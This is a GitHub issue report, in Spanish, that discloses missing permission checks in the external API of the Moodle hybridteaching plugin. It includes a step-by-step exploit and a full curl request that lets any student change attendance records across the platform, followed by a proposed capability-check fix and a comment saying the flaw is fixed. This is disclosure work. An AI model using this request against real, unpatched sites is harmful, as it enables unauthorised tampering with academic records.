UNIMOODLE / moodle-mod_hybridteaching

P1
Other
1 stars 0 forks source link

GRAVE: Ausencia de controles de seguridad en ExternalAPI #146

Open juacas opened 1 month ago

juacas commented 1 month ago

La implementación actual no comprueba los capabilities ni los contextos de aplicación de las acciones de los servicios. Esto permite que cualquier usuario sin privilegios modifique el estado de cualquier actividad accesible mediante service.php.

Ejemplo de exploit:

Servicio: mod_hybridteaching_set_manual_attendance https://github.com/UNIMOODLE/moodle-mod_hybridteaching/blob/9fbebe62da3fc23b2eb5b712b6cc96155e470e5f/externallib.php#L84 Objetivo: registrar una asistencia desde el interfaz de usuario. Parámetros de entrada: JSON con los argumentos attid (id de mdl_attendance), status (valor a marcar), id (userid)): [{"index":0,"methodname":"mod_hybridteaching_set_manual_attendance","args":{"attid":"50","status":1,"id":"607"}}]

Exploit: 1) Loguearse con un usuario cualquiera (p.ej. un estudiante). 2) Obtener un sesskey y cookie de sesión actualizado de las queries de Moodle. 3) Confeccionar una petición POST usando la sesskey y el JSON a capricho. Por ejemplo:

curl 'https://moodle3.local/moodle403/lib/ajax/service.php?sesskey=7KjpE0Te6E&info=mod_hybridteaching_set_manual_attendance' \
  -H 'Cookie: MoodleSession=e10d7a542b4fc1f943b24668027ef27a; MOODLEID1_=%25E6%2503A%2588l; SESSd3cc493abdfe5072da60a9ac896889f7=DMIqPMTUKyGoStGtMQJYs3xOyDPCLveT0984Emhwfux1x7nH;' \
  -H 'accept: application/json, text/javascript, */*; q=0.01' \
  -H 'content-type: application/json' \
  --data-raw '[{"index":0,"methodname":"mod_hybridteaching_set_manual_attendance","args":{"attid":"50","status":1,"id":"607"}}]'

Efecto: Se cambia el status de CUALQUIER attid de toda la plataforma.

Comportamiento necesario: 1) Crear el contexto de módulo de la actividad. 2) requerir capability adecuado. En este ejemplo se ve que falta un permiso específico como: "mod/hybridteaching:markothersattendance" (Añadir al código).

         // Check permissions.
            $coursemodule = get_coursemodule_from_instance('hybridteaching', $attendance->hybridteachingid);
            $context = context_module::instance($coursemodule->id);
            require_capability('mod/hybridteaching:manageactivity', $context);

TODOS los servicios están desprotegidos de la misma forma. En cada caso debe comprobarse si el usuario logueado ($USER) puede hacer lo que está invocando. Cada servicio puede tener unos requisitos distintos. Repasad y comentad aquí las comprobaciones añadidas.

mcalvoisyccom commented 1 day ago

Solventado con la última versión añadida.